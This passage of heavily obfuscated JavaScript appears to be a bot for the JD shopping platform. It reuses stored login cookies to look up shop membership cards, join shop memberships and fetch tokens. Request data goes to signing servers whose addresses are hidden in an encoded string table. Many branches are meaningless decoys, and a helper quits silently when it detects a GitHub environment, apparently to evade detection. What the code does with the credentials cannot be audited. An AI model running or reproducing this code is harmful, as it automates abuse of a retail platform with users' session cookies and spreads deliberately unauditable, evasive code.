_0x2eabc6[_0x4cd0('‮131')](/[xy]/g,function(_0x59f439){if(_0x477273[_0x4cd0('‮1ff')](_0x477273[_0x4cd0('‮200')],_0x477273[_0x4cd0('‫201')])){var _0x3bc9b1=_0x477273[_0x4cd0('‮202')](_0x477273[_0x4cd0('‫203')](Math[_0x4cd0('‫134')](),0x10),0x0),_0x455b2d=_0x477273[_0x4cd0('‫204')](_0x59f439,'x')?_0x3bc9b1:_0x477273[_0x4cd0('‮202')](_0x477273[_0x4cd0('‮205')](_0x3bc9b1,0x3),0x8);if(_0x18f3db){if(_0x477273[_0x4cd0('‫206')](_0x477273[_0x4cd0('‫207')],_0x477273[_0x4cd0('‫207')])){uuid=_0x455b2d[_0x4cd0('‮138')](0x24)[_0x4cd0('‫139')]();}else{$[_0x4cd0('‮2b')]=![];return;}}else{if(_0x477273[_0x4cd0('‫206')](_0x477273[_0x4cd0('‮208')],_0x477273[_0x4cd0('‫209')])){console[_0x4cd0('‫9')](''+JSON[_0x4cd0('‮ec')](err));console[_0x4cd0('‫9')]($[_0x4cd0('‫21')]+_0x4cd0('‫194'));}else{uuid=_0x455b2d[_0x4cd0('‮138')](0x24);}}return uuid;}else{$[_0x4cd0('‫9')](_0x477273[_0x4cd0('‫20a')]);}});}function checkCookie(){var _0x12f32b={'Kjnbg':_0x4cd0('‮13'),'BYkMM':_0x4cd0('‫14'),'wTcJT':function(_0x4230e0){return _0x4230e0();},'cEACI':function(_0x4eac87,_0x1693f0){return _0x4eac87===_0x1693f0;},'hoqsX':_0x4cd0('‮20b'),'JpyIt':function(_0x6c5b8f,_0x1a0bb7){return _0x6c5b8f!==_0x1a0bb7;},'QChZX':_0x4cd0('‮20c'),'lKahE':_0x4cd0('‮20d'),'PpxWR':function(_0x5b2b8c,_0x12db64){return _0x5b2b8c===_0x12db64;},'tZeRc':_0x4cd0('‫20e'),'lnJpn':_0x4cd0('‮20f'),'XdhyR':_0x4cd0('‫210'),'FgpjO':_0x4cd0('‮211'),'zuUUJ':_0x4cd0('‮163'),'wykNN':_0x4cd0('‮212'),'LZJwd':_0x4cd0('‫213'),'Jtqny':_0x4cd0('‫214'),'tMZCn':_0x4cd0('‫215'),'Bovze':_0x4cd0('‮216'),'fAdHq':_0x4cd0('‮217'),'jfogK':_0x4cd0('‮148'),'SHsuN':_0x4cd0('‫218'),'lFavs':_0x4cd0('‫144'),'oeSZR':_0x4cd0('‮219'),'uvjwQ':_0x4cd0('‫145')};const _0x1eadff={'url':_0x12f32b[_0x4cd0('‮21a')],'headers':{'Host':_0x12f32b[_0x4cd0('‮21b')],'Accept':_0x12f32b[_0x4cd0('‮21c')],'Connection':_0x12f32b[_0x4cd0('‫21d')],'Cookie':cookie,'User-Agent':_0x12f32b[_0x4cd0('‮21e')],'Accept-Language':_0x12f32b[_0x4cd0('‫21f')],'Referer':_0x12f32b[_0x4cd0('‫220')],'Accept-Encoding':_0x12f32b[_0x4cd0('‮221')]}};return new Promise(_0x59c3d1=>{var _0x33171d={'QXshB':_0x12f32b[_0x4cd0('‫222')],'cnAzw':_0x12f32b[_0x4cd0('‮223')],'vPsFa':function(_0x291a03){return _0x12f32b[_0x4cd0('‫224')](_0x291a03);},'tLZxD':function(_0x4d5a32,_0x11d25b){return _0x12f32b[_0x4cd0('‮225')](_0x4d5a32,_0x11d25b);},'ssxEc':_0x12f32b[_0x4cd0('‮226')],'ecPuI':function(_0x5a93ba,_0x1bd4f2){return _0x12f32b[_0x4cd0('‫227')](_0x5a93ba,_0x1bd4f2);},'nSTEy':_0x12f32b[_0x4cd0('‮228')],'QTXqA':_0x12f32b[_0x4cd0('‮229')],'ZuxKy':function(_0x174510,_0x326b8a){return _0x12f32b[_0x4cd0('‮22a')](_0x174510,_0x326b8a);},'wjTWW':_0x12f32b[_0x4cd0('‫22b')],'kkMyV':_0x12f32b[_0x4cd0('‫22c')],'sVTYD':function(_0x2e4eea,_0x399ddb){return _0x12f32b[_0x4cd0('‫227')](_0x2e4eea,_0x399ddb);},'UrgCL':_0x12f32b[_0x4cd0('‮22d')],'lIuXf':_0x12f32b[_0x4cd0('‮22e')],'HCOqE':_0x12f32b[_0x4cd0('‮22f')],'VGhIt':_0x12f32b[_0x4cd0('‫230')],'WSwAj':_0x12f32b[_0x4cd0('‫231')],'NuWgF':_0x12f32b[_0x4cd0('‫232')]};$[_0x4cd0('‫129')](_0x1eadff,(_0x395802,_0x343952,_0x47fb37)=>{try{if(_0x395802){$[_0x4cd0('‮13d')](_0x395802);}else{if(_0x47fb37){_0x47fb37=JSON[_0x4cd0('‮c')](_0x47fb37);if(_0x33171d[_0x4cd0('‮233')](_0x47fb37[_0x4cd0('‮234')],_0x33171d[_0x4cd0('‫235')])){if(_0x33171d[_0x4cd0('‮236')](_0x33171d[_0x4cd0('‫237')],_0x33171d[_0x4cd0('‮238')])){$[_0x4cd0('‮2b')]=![];return;}else{Host=process[_0x4cd0('‫6')][_0x4cd0('‮1eb')];}}if(_0x33171d[_0x4cd0('‮239')](_0x47fb37[_0x4cd0('‮234')],'0')&&_0x47fb37[_0x4cd0('‮cf')][_0x4cd0('‮23a')](_0x33171d[_0x4cd0('‮23b')])){if(_0x33171d[_0x4cd0('‮239')](_0x33171d[_0x4cd0('‫23c')],_0x33171d[_0x4cd0('‫23c')])){$[_0x4cd0('‫2c')]=_0x47fb37[_0x4cd0('‮cf')][_0x4cd0('‫20e')][_0x4cd0('‮23d')][_0x4cd0('‫1ac')];}else{$[_0x4cd0('‮13d')](e,_0x343952);}}}else{if(_0x33171d[_0x4cd0('‫23e')](_0x33171d[_0x4cd0('‮23f')],_0x33171d[_0x4cd0('‫240')])){$[_0x4cd0('‫9')](_0x33171d[_0x4cd0('‮241')]);}else{for(let _0x569dd3 of _0x343952[_0x33171d[_0x4cd0('‫242')]][_0x33171d[_0x4cd0('‮243')]][_0x4cd0('‮34')](',')){cookie=''+cookie+_0x569dd3[_0x4cd0('‮34')](';')[0x0]+';';}}}}}catch(_0x28e5d4){if(_0x33171d[_0x4cd0('‫23e')](_0x33171d[_0x4cd0('‫244')],_0x33171d[_0x4cd0('‫244')])){_0x33171d[_0x4cd0('‫245')](_0x59c3d1);}else{$[_0x4cd0('‮13d')](_0x28e5d4);}}finally{if(_0x33171d[_0x4cd0('‫23e')](_0x33171d[_0x4cd0('‫246')],_0x33171d[_0x4cd0('‮247')])){_0x33171d[_0x4cd0('‫245')](_0x59c3d1);}else{cookie=''+cookie+sk[_0x4cd0('‮34')](';')[0x0]+';';}}});});}function getShopOpenCardInfo(_0x262631,_0x438c1b){var _0x5400d7={'ytZyl':function(_0x2e4e6d,_0x3dbf30){return _0x2e4e6d(_0x3dbf30);},'AdGsN':_0x4cd0('‫1e'),'thgld':_0x4cd0('‮13'),'TnIyL':_0x4cd0('‫14'),'idVXo':function(_0x5464d6,_0x58ed5c){return _0x5464d6!==_0x58ed5c;},'WMTcS':_0x4cd0('‫248'),'zmTkg':function(_0x4a4142,_0x219f09){return _0x4a4142===_0x219f09;},'CIulH':_0x4cd0('‮249'),'KcfsK':_0x4cd0('‮24a'),'CODiu':_0x4cd0('‮24b'),'eYBVM':_0x4cd0('‫24c'),'yOsPP':function(_0x48dd9c,_0x352b80){return _0x48dd9c===_0x352b80;},'zgZcX':_0x4cd0('‫24d'),'cYCEq':_0x4cd0('‫24e'),'wQicU':function(_0x1d6467){return _0x1d6467();},'MjnpT':function(_0x513256,_0xa6040e){return _0x513256+_0xa6040e;},'puFXy':function(_0x35d3f4,_0x6c229d){return _0x35d3f4+_0x6c229d;},'tYERb':function(_0x14a11d,_0x577118){return _0x14a11d===_0x577118;},'VHnGo':_0x4cd0('‮24f'),'bQhFe':_0x4cd0('‮250'),'iJbJz':function(_0x1dc918,_0x1f5b98){return _0x1dc918(_0x1f5b98);},'JQHRz':_0x4cd0('‫251'),'KerHp':_0x4cd0('‮217'),'wbkSq':_0x4cd0('‮148'),'WRdEa':_0x4cd0('‫144'),'VdfSj':_0x4cd0('‫145')};let _0x1bb87f={'url':_0x4cd0('‮252')+_0x5400d7[_0x4cd0('‫253')](encodeURIComponent,JSON[_0x4cd0('‮ec')](_0x262631))+_0x4cd0('‫254'),'headers':{'Host':_0x5400d7[_0x4cd0('‫255')],'Accept':_0x5400d7[_0x4cd0('‫256')],'Connection':_0x5400d7[_0x4cd0('‫257')],'Cookie':cookie,'User-Agent':_0x4cd0('‫152')+$[_0x4cd0('‮3c')]+_0x4cd0('‫153')+$[_0x4cd0('‮39')]+_0x4cd0('‫154'),'Accept-Language':_0x5400d7[_0x4cd0('‫258')],'Referer':_0x4cd0('‮259')+_0x438c1b+_0x4cd0('‮25a')+_0x5400d7[_0x4cd0('‫253')](encodeURIComponent,$[_0x4cd0('‫47')]),'Accept-Encoding':_0x5400d7[_0x4cd0('‮25b')]}};return new Promise(_0x3eccda=>{var _0x548cf9={'Yihmm':function(_0x18f213,_0x1d743c){return _0x5400d7[_0x4cd0('‮25c')](_0x18f213,_0x1d743c);},'RgXnO':function(_0x28d5af,_0x5e9405){return _0x5400d7[_0x4cd0('‫25d')](_0x28d5af,_0x5e9405);},'XwWdd':function(_0x12a729,_0x4dbe72){return _0x5400d7[_0x4cd0('‫25d')](_0x12a729,_0x4dbe72);}};if(_0x5400d7[_0x4cd0('‮25e')](_0x5400d7[_0x4cd0('‫25f')],_0x5400d7[_0x4cd0('‮260')])){_0x5400d7[_0x4cd0('‫261')](_0x3eccda,data);}else{$[_0x4cd0('‫129')](_0x1bb87f,(_0x22c3f6,_0x181a53,_0x22180d)=>{var _0x35431c={'phgOF':_0x5400d7[_0x4cd0('‫262')],'sglqw':_0x5400d7[_0x4cd0('‫263')],'UdTYl':_0x5400d7[_0x4cd0('‫264')]};try{if(_0x5400d7[_0x4cd0('‮265')](_0x5400d7[_0x4cd0('‫266')],_0x5400d7[_0x4cd0('‫266')])){lz_cookie[sk[_0x4cd0('‮34')](';')[0x0][_0x4cd0('‮ff')](0x0,sk[_0x4cd0('‮34')](';')[0x0][_0x4cd0('‮a6')]('='))]=sk[_0x4cd0('‮34')](';')[0x0][_0x4cd0('‮ff')](_0x548cf9[_0x4cd0('‫267')](sk[_0x4cd0('‮34')](';')[0x0][_0x4cd0('‮a6')]('='),0x1));}else{if(_0x22c3f6){if(_0x5400d7[_0x4cd0('‫268')](_0x5400d7[_0x4cd0('‫269')],_0x5400d7[_0x4cd0('‫26a')])){$[_0x4cd0('‮20')]($[_0x4cd0('‫21')],_0x35431c[_0x4cd0('‫26b')],message);}else{console[_0x4cd0('‫9')](_0x22c3f6);}}else{if(_0x5400d7[_0x4cd0('‫268')](_0x5400d7[_0x4cd0('‮26c')],_0x5400d7[_0x4cd0('‫26d')])){cookie+=_0x548cf9[_0x4cd0('‮26e')](_0x548cf9[_0x4cd0('‮26f')](_0x548cf9[_0x4cd0('‮26f')](vo,'='),lz_cookie[vo]),';');}else{res=JSON[_0x4cd0('‮c')](_0x22180d);if(res[_0x4cd0('‮82')]){if(res[_0x4cd0('‮ca')][_0x4cd0('‫cb')]){if(_0x5400d7[_0x4cd0('‫270')](_0x5400d7[_0x4cd0('‫271')],_0x5400d7[_0x4cd0('‮272')])){for(let _0x33f343 of _0x181a53[_0x35431c[_0x4cd0('‫273')]][_0x35431c[_0x4cd0('‫274')]][_0x4cd0('‮34')](',')){cookie=''+cookie+_0x33f343[_0x4cd0('‮34')](';')[0x0]+';';}}else{$[_0x4cd0('‫6b')]=res[_0x4cd0('‮ca')][_0x4cd0('‫cb')][0x0][_0x4cd0('‮cc')][_0x4cd0('‫43')];}}}}}}}catch(_0x127057){console[_0x4cd0('‫9')](_0x127057);}finally{_0x5400d7[_0x4cd0('‮275')](_0x3eccda);}});}});}async function bindWithVender(_0x23b2f6,_0x590b6d){var _0x4ea99f={'WNBMx':function(_0x277b04){return _0x277b04();},'izRXW':function(_0x3de114,_0x35f5ca){return _0x3de114!==_0x35f5ca;},'IuImN':_0x4cd0('‫276'),'PEzKv':function(_0x48733a,_0x241074){return _0x48733a===_0x241074;},'qObqB':_0x4cd0('‫277'),'qqzZb':_0x4cd0('‫278'),'cVGNM':function(_0x153e9f,_0x406f7d,_0x2fc68b){return _0x153e9f(_0x406f7d,_0x2fc68b);},'RIslk':_0x4cd0('‫279'),'NWfNY':_0x4cd0('‫251'),'uHviZ':_0x4cd0('‮217'),'cyJEV':_0x4cd0('‮148'),'wZojW':_0x4cd0('‫144'),'UHCDD':function(_0x198fa6,_0x313ff3){return _0x198fa6(_0x313ff3);},'PNJzO':_0x4cd0('‫145')};return h5st=await _0x4ea99f[_0x4cd0('‮27a')](geth5st,_0x4ea99f[_0x4cd0('‫27b')],_0x23b2f6),opt={'url':_0x4cd0('‮27c')+h5st,'headers':{'Host':_0x4ea99f[_0x4cd0('‮27d')],'Accept':_0x4ea99f[_0x4cd0('‫27e')],'Connection':_0x4ea99f[_0x4cd0('‮27f')],'Cookie':cookie,'User-Agent':_0x4cd0('‫152')+$[_0x4cd0('‮3c')]+_0x4cd0('‫153')+$[_0x4cd0('‮39')]+_0x4cd0('‫154'),'Accept-Language':_0x4ea99f[_0x4cd0('‫280')],'Referer':_0x4cd0('‮259')+_0x590b6d+_0x4cd0('‮281')+_0x4ea99f[_0x4cd0('‮282')](encodeURIComponent,$[_0x4cd0('‫47')]),'Accept-Encoding':_0x4ea99f[_0x4cd0('‫283')]}},new Promise(_0x27f8c9=>{var _0x4161a7={'IYIur':function(_0x4fd569){return _0x4ea99f[_0x4cd0('‮284')](_0x4fd569);},'WZPay':function(_0x386de3,_0x1a70b0){return _0x4ea99f[_0x4cd0('‫285')](_0x386de3,_0x1a70b0);},'NgYbm':_0x4ea99f[_0x4cd0('‫286')],'YNYQs':function(_0x4ebca4,_0x1c8b7b){return _0x4ea99f[_0x4cd0('‫287')](_0x4ebca4,_0x1c8b7b);},'VhAmK':_0x4ea99f[_0x4cd0('‮288')],'JhzyR':_0x4ea99f[_0x4cd0('‮289')]};$[_0x4cd0('‫129')](opt,(_0x3b49a5,_0x561b73,_0x24d409)=>{var _0x781b2f={'LBmXi':function(_0x11f1e3){return _0x4161a7[_0x4cd0('‮28a')](_0x11f1e3);}};try{if(_0x3b49a5){console[_0x4cd0('‫9')](_0x3b49a5);}else{if(_0x4161a7[_0x4cd0('‫28b')](_0x4161a7[_0x4cd0('‮28c')],_0x4161a7[_0x4cd0('‮28c')])){_0x781b2f[_0x4cd0('‮28d')](_0x27f8c9);}else{res=JSON[_0x4cd0('‮c')](_0x24d409);if(res[_0x4cd0('‮82')]){console[_0x4cd0('‫9')](res);$[_0x4cd0('‫56')]=res[_0x4cd0('‫57')];}}}}catch(_0x238480){console[_0x4cd0('‫9')](_0x238480);}finally{if(_0x4161a7[_0x4cd0('‫28e')](_0x4161a7[_0x4cd0('‫28f')],_0x4161a7[_0x4cd0('‮290')])){$[_0x4cd0('‮13d')](_0x3b49a5);}else{_0x4161a7[_0x4cd0('‮28a')](_0x27f8c9);}}});});}function geth5st(_0xbfaa62,_0x544dcf){var _0x1d0305={'bEQNC':function(_0x1aee2a,_0x5a3ac3){return _0x1aee2a===_0x5a3ac3;},'vDIhA':_0x4cd0('‫291'),'KviBn':_0x4cd0('‮292'),'BzACw':function(_0x14154e,_0x3329a4){return _0x14154e(_0x3329a4);},'gBTje':function(_0x2ad2a4,_0x359339){return _0x2ad2a4(_0x359339);},'pblel':_0x4cd0('‮293'),'Wujfc':_0x4cd0('‫294'),'ummeU':_0x4cd0('‮295'),'HmyLj':_0x4cd0('‫296'),'XNUug':function(_0x200a48,_0x4350e8){return _0x200a48*_0x4350e8;},'nMeEZ':_0x4cd0('‫142')};return new Promise(async _0x43d114=>{var _0x50cfd7={'xohPt':function(_0xe0178f,_0x533d30){return _0x1d0305[_0x4cd0('‫297')](_0xe0178f,_0x533d30);}};let _0x230ce7={'appId':_0x1d0305[_0x4cd0('‮298')],'body':{'appid':_0x1d0305[_0x4cd0('‮299')],'functionId':_0xbfaa62,'body':JSON[_0x4cd0('‮ec')](_0x544dcf),'clientVersion':_0x1d0305[_0x4cd0('‮29a')],'client':'H5','activityId':$[_0x4cd0('‫43')]},'callbackAll':!![]};let _0x2ce107='';let _0x567deb=[_0x1d0305[_0x4cd0('‫29b')]];if(process[_0x4cd0('‫6')][_0x4cd0('‮1eb')]){_0x2ce107=process[_0x4cd0('‫6')][_0x4cd0('‮1eb')];}else{_0x2ce107=_0x567deb[Math[_0x4cd0('‫1f7')](_0x1d0305[_0x4cd0('‮29c')](Math[_0x4cd0('‫134')](),_0x567deb[_0x4cd0('‫25')]))];}let _0x1d47bf={'url':_0x4cd0('‮29d'),'body':JSON[_0x4cd0('‮ec')](_0x230ce7),'headers':{'Host':_0x2ce107,'Content-Type':_0x1d0305[_0x4cd0('‮29e')]},'timeout':_0x1d0305[_0x4cd0('‮29c')](0x1e,0x3e8)};$[_0x4cd0('‮c3')](_0x1d47bf,async(_0x4b09ec,_0x3635aa,_0x230ce7)=>{try{if(_0x1d0305[_0x4cd0('‫29f')](_0x1d0305[_0x4cd0('‮2a0')],_0x1d0305[_0x4cd0('‫2a1')])){_0x50cfd7[_0x4cd0('‮2a2')](_0x43d114,_0x230ce7);}else{if(_0x4b09ec){_0x230ce7=await geth5st[_0x4cd0('‫2a3')](this,arguments);}else{}}}catch(_0x541551){$[_0x4cd0('‮13d')](_0x541551,_0x3635aa);}finally{_0x1d0305[_0x4cd0('‫2a4')](_0x43d114,_0x230ce7);}});});}async function getToken(){var _0x55f2b9={'BtqWn':_0x4cd0('‮163'),'UfTIE':function(_0x3973a1,_0x3af7e5){return _0x3973a1===_0x3af7e5;},'nvMqd':_0x4cd0('‫2a5'),'qeYBR':function(_0x3e03e3,_0x10a54d){return _0x3e03e3===_0x10a54d;},'dERAG':_0x4cd0('‫2a6'),'oYJMS':function(_0x40c938,_0x12a69d){return _0x40c938!==_0x12a69d;},'oLEpK':_0x4cd0('‮2a7'),'bkRBs':_0x4cd0('‫2a8'),'LaqsN':function(_0x31692e){return _0x31692e();},'IPPRF':_0x4cd0('‮15'),'tkjQj':_0x4cd0('‮16'),'TOcqt':function(_0x327631,_0x33f2b0,_0x47713b){return _0x327631(_0x33f2b0,_0x47713b);},'aqJhT':_0x4cd0('‮2a9'),'PRPqC':_0x4cd0('‮147'),'bEhkp':_0x4cd0('‫251'),'SuIhp':_0x4cd0('‫146'),'tkYYg':_0x4cd0('‮217'),'KCRHK':_0x4cd0('‮148'),'BXJWA':_0x4cd0('‮2aa'),'swKjt':_0x4cd0('‫2ab'),'SyRvV':_0x4cd0('‫145')};let _0x52f25b=await _0x55f2b9[_0x4cd0('‮2ac')](getSign,_0x55f2b9[_0x4cd0('‮2ad')],{'id':'','url':_0x55f2b9[_0x4cd0('‮2ae')]});let _0x3a3cf5={'url':_0x4cd0('‫2af'),'headers':{'Host':_0x55f2b9[_0x4cd0('‫2b0')],'Content-Type':_0x55f2b9[_0x4cd0('‫2b1')],'Accept':_0x55f2b9[_0x4cd0('‮2b2')],'Connection':_0x55f2b9[_0x4cd0('‫2b3')],'Cookie':cookie,'User-Agent':_0x55f2b9[_0x4cd0('‫2b4')],'Accept-Language':_0x55f2b9[_0x4cd0('‮2b5')],'Accept-Encoding':_0x55f2b9[_0x4cd0('‮2b6')]},'body':_0x52f25b};return new Promise(_0x2a6d6f=>{var _0x12d808={'ssqeU':_0x55f2b9[_0x4cd0('‫2b7')],'GAKTj':_0x55f2b9[_0x4cd0('‫2b8')]};$[_0x4cd0('‮c3')](_0x3a3cf5,(_0x579346,_0x4719cd,_0x2c8642)=>{var _0x3adb95={'mbswt':_0x55f2b9[_0x4cd0('‫2b9')]};if(_0x55f2b9[_0x4cd0('‫2ba')](_0x55f2b9[_0x4cd0('‮2bb')],_0x55f2b9[_0x4cd0('‮2bb')])){try{if(_0x55f2b9[_0x4cd0('‫2bc')](_0x55f2b9[_0x4cd0('‮2bd')],_0x55f2b9[_0x4cd0('‮2bd')])){if(_0x579346){if(_0x55f2b9[_0x4cd0('‫2be')](_0x55f2b9[_0x4cd0('‫2bf')],_0x55f2b9[_0x4cd0('‫2bf')])){$[_0x4cd0('‫9')](_0x3adb95[_0x4cd0('‫2c0')]);}else{$[_0x4cd0('‫9')](_0x579346);}}else{if(_0x2c8642){_0x2c8642=JSON[_0x4cd0('‮c')](_0x2c8642);if(_0x55f2b9[_0x4cd0('‫2bc')](_0x2c8642[_0x4cd0('‮2c1')],'0')){if(_0x55f2b9[_0x4cd0('‫2bc')](_0x55f2b9[_0x4cd0('‮2c2')],_0x55f2b9[_0x4cd0('‮2c2')])){$[_0x4cd0('‮6a')]=_0x2c8642[_0x4cd0('‮6a')];}else{$[_0x4cd0('‮20')]($[_0x4cd0('‫21')],_0x12d808[_0x4cd0('‫2c3')],_0x12d808[_0x4cd0('‫2c4')],{'open-url':_0x12d808[_0x4cd0('‫2c4')]});return;}}}else{$[_0x4cd0('‫9')](_0x55f2b9[_0x4cd0('‫2b9')]);}}}else{console[_0x4cd0('‫9')](_0x579346);}}catch(_0x16efbc){$[_0x4cd0('‫9')](_0x16efbc);}finally{_0x55f2b9[_0x4cd0('‫2c5')](_0x2a6d6f);}}else{$[_0x4cd0('‮13d')](e,_0x4719cd);_0x2c8642=null;}});});}function getSign(_0x23698c,_0x511aa8){var _0xf6a604={'KtlcT':function(_0x26f03c,_0x3b1b0e){return _0x26f03c===_0x3b1b0e;},'XXzJr':_0x4cd0('‮20b'),'QeTPJ':_0x4cd0('‫20e'),'yuLiP':function(_0x4d973e,_0x4a7e7b){return _0x4d973e!==_0x4a7e7b;},'jWVOO':_0x4cd0('‫2c6'),'DRiqc':_0x4cd0('‫2c7'),'pRLww':_0x4cd0('‫2c8'),'dovBW':_0x4cd0('‮2c9'),'SUmut':function(_0x30c41e,_0x54cb62){return _0x30c41e===_0x54cb62;},'FuQse':_0x4cd0('‮2ca'),'qZgfX':_0x4cd0('‫2cb'),'mssOb':function(_0x160c07,_0x32f9cb){return _0x160c07(_0x32f9cb);},'fqFhp':_0x4cd0('‮13'),'FeuID':_0x4cd0('‮f2'),'qZvkY':function(_0x557279,_0x3a190f){return _0x557279+_0x3a190f;},'ylkbI':function(_0x2ed80,_0x17652d){return _0x2ed80+_0x17652d;},'Zhzus':function(_0xcc785f,_0x2ad64e){return _0xcc785f+_0x2ad64e;},'ziHGT':_0x4cd0('‮8'),'NllWo':function(_0x30195f,_0x2e8cec){return _0x30195f===_0x2e8cec;},'lVcdY':_0x4cd0('‫2cc'),'qsjxB':_0x4cd0('‫296'),'srUXl':function(_0x432c76,_0x372686){return _0x432c76===_0x372686;},'pSkns':_0x4cd0('‮2cd'),'brQWs':_0x4cd0('‫2ce'),'fwseZ':_0x4cd0('‫2cf'),'XvlVN':function(_0x4c50a4,_0xa42eb1){return _0x4c50a4*_0xa42eb1;},'ZvfDV':_0x4cd0('‮112'),'Ebwfd':function(_0x5acfd9,_0x20466c){return _0x5acfd9*_0x20466c;}};return new Promise(async _0x2741b9=>{var _0x1d986a={'fUXxa':function(_0x36b6f3,_0x923cc1){return _0xf6a604[_0x4cd0('‮2d0')](_0x36b6f3,_0x923cc1);},'lEnyZ':_0xf6a604[_0x4cd0('‮2d1')]};if(_0xf6a604[_0x4cd0('‫2d2')](_0xf6a604[_0x4cd0('‮2d3')],_0xf6a604[_0x4cd0('‮2d3')])){let _0x327aee={'functionId':_0x23698c,'body':JSON[_0x4cd0('‮ec')](_0x511aa8),'activityId':$[_0x4cd0('‫43')]};let _0x3815cf='';let _0x183d2b=[_0xf6a604[_0x4cd0('‫2d4')]];if(process[_0x4cd0('‫6')][_0x4cd0('‮1eb')]){if(_0xf6a604[_0x4cd0('‮2d5')](_0xf6a604[_0x4cd0('‮2d6')],_0xf6a604[_0x4cd0('‫2d7')])){$[_0x4cd0('‫9')](error);}else{_0x3815cf=process[_0x4cd0('‫6')][_0x4cd0('‮1eb')];}}else{if(_0xf6a604[_0x4cd0('‫2d8')](_0xf6a604[_0x4cd0('‮2d9')],_0xf6a604[_0x4cd0('‮2d9')])){$[_0x4cd0('‫9')](_0x4cd0('‮1ab')+_0x327aee[_0x4cd0('‮cf')][_0x4cd0('‫1ac')]);$[_0x4cd0('‮89')]=_0x327aee[_0x4cd0('‮cf')][_0x4cd0('‫1ac')];$[_0x4cd0('‮4e')]=_0x327aee[_0x4cd0('‮cf')][_0x4cd0('‮4e')];cookie=cookie+_0x4cd0('‫1ad')+_0x327aee[_0x4cd0('‮cf')][_0x4cd0('‮4e')];}else{_0x3815cf=_0x183d2b[Math[_0x4cd0('‫1f7')](_0xf6a604[_0x4cd0('‮2da')](Math[_0x4cd0('‫134')](),_0x183d2b[_0x4cd0('‫25')]))];}}let _0x49c911={'url':_0x4cd0('‮2db'),'body':JSON[_0x4cd0('‮ec')](_0x327aee),'headers':{'Host':_0x3815cf,'User-Agent':_0xf6a604[_0x4cd0('‮2dc')]},'timeout':_0xf6a604[_0x4cd0('‮2dd')](0x1e,0x3e8)};$[_0x4cd0('‮c3')](_0x49c911,(_0x5f3550,_0x6a96ea,_0x327aee)=>{var _0x566a2c={'fVefm':function(_0xff8a23,_0x2e6176){return _0xf6a604[_0x4cd0('‫2de')](_0xff8a23,_0x2e6176);},'iQfLU':_0xf6a604[_0x4cd0('‫2df')],'KyUdl':_0xf6a604[_0x4cd0('‮2e0')]};if(_0xf6a604[_0x4cd0('‫2d8')](_0xf6a604[_0x4cd0('‮2e1')],_0xf6a604[_0x4cd0('‫2e2')])){try{if(_0x5f3550){if(_0xf6a604[_0x4cd0('‫2de')](_0xf6a604[_0x4cd0('‫2e3')],_0xf6a604[_0x4cd0('‮2e4')])){_0x327aee=JSON[_0x4cd0('‮c')](_0x327aee);if(_0x566a2c[_0x4cd0('‫2e5')](_0x327aee[_0x4cd0('‮234')],_0x566a2c[_0x4cd0('‮2e6')])){$[_0x4cd0('‮2b')]=![];return;}if(_0x566a2c[_0x4cd0('‫2e5')](_0x327aee[_0x4cd0('‮234')],'0')&&_0x327aee[_0x4cd0('‮cf')][_0x4cd0('‮23a')](_0x566a2c[_0x4cd0('‫2e7')])){$[_0x4cd0('‫2c')]=_0x327aee[_0x4cd0('‮cf')][_0x4cd0('‫20e')][_0x4cd0('‮23d')][_0x4cd0('‫1ac')];}}else{console[_0x4cd0('‫9')](''+JSON[_0x4cd0('‮ec')](_0x5f3550));console[_0x4cd0('‫9')]($[_0x4cd0('‫21')]+_0x4cd0('‫194'));}}else{}}catch(_0x2ec6c7){if(_0xf6a604[_0x4cd0('‮2d0')](_0xf6a604[_0x4cd0('‮2e8')],_0xf6a604[_0x4cd0('‮2e8')])){$[_0x4cd0('‮13d')](_0x2ec6c7,_0x6a96ea);}else{$[_0x4cd0('‫2c')]=_0x327aee[_0x4cd0('‮cf')][_0x4cd0('‫20e')][_0x4cd0('‮23d')][_0x4cd0('‫1ac')];}}finally{if(_0xf6a604[_0x4cd0('‮2d0')](_0xf6a604[_0x4cd0('‮2e9')],_0xf6a604[_0x4cd0('‮2e9')])){_0xf6a604[_0x4cd0('‫2ea')](_0x2741b9,_0x327aee);}else{console[_0x4cd0('‫9')](error);}}}else{Object[_0x4cd0('‮3')](jdCookieNode)[_0x4cd0('‮4')](_0x50473f=>{cookiesArr[_0x4cd0('‮5')](jdCookieNode[_0x50473f]);});if(process[_0x4cd0('‫6')][_0x4cd0('‮7')]&&_0x1d986a[_0x4cd0('‮2eb')](process[_0x4cd0('‫6')][_0x4cd0('‮7')],_0x1d986a[_0x4cd0('‮2ec')]))console[_0x4cd0('‫9')]=()=>{};}});}else{if(resp[_0xf6a604[_0x4cd0('‫2ed')]][_0xf6a604[_0x4cd0('‫2ee')]]){cookie=originCookie+';';for(let _0x5bf029 of resp[_0xf6a604[_0x4cd0('‫2ed')]][_0xf6a604[_0x4cd0('‫2ee')]]){lz_cookie[_0x5bf029[_0x4cd0('‮34')](';')[0x0][_0x4cd0('‮ff')](0x0,_0x5bf029[_0x4cd0('‮34')](';')[0x0][_0x4cd0('‮a6')]('='))]=_0x5bf029[_0x4cd0('‮34')](';')[0x0][_0x4cd0('‮ff')](_0xf6a604[_0x4cd0('‫2ef')](_0x5bf029[_0x4cd0('‮34')](';')[0x0][_0x4cd0('‮a6')]('='),0x1));}for(const _0x5ca070 of Object[_0x4cd0('‮3')](lz_cookie)){cookie+=_0xf6a604[_0x4cd0('‫2ef')](_0xf6a604[_0x4cd0('‮2f0')](_0xf6a604[_0x4cd0('‫2f1')](_0x5ca070,'='),lz_cookie[_0x5ca070]),';');}}}});};_0xodU='jsjiami.com.v6'; +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const 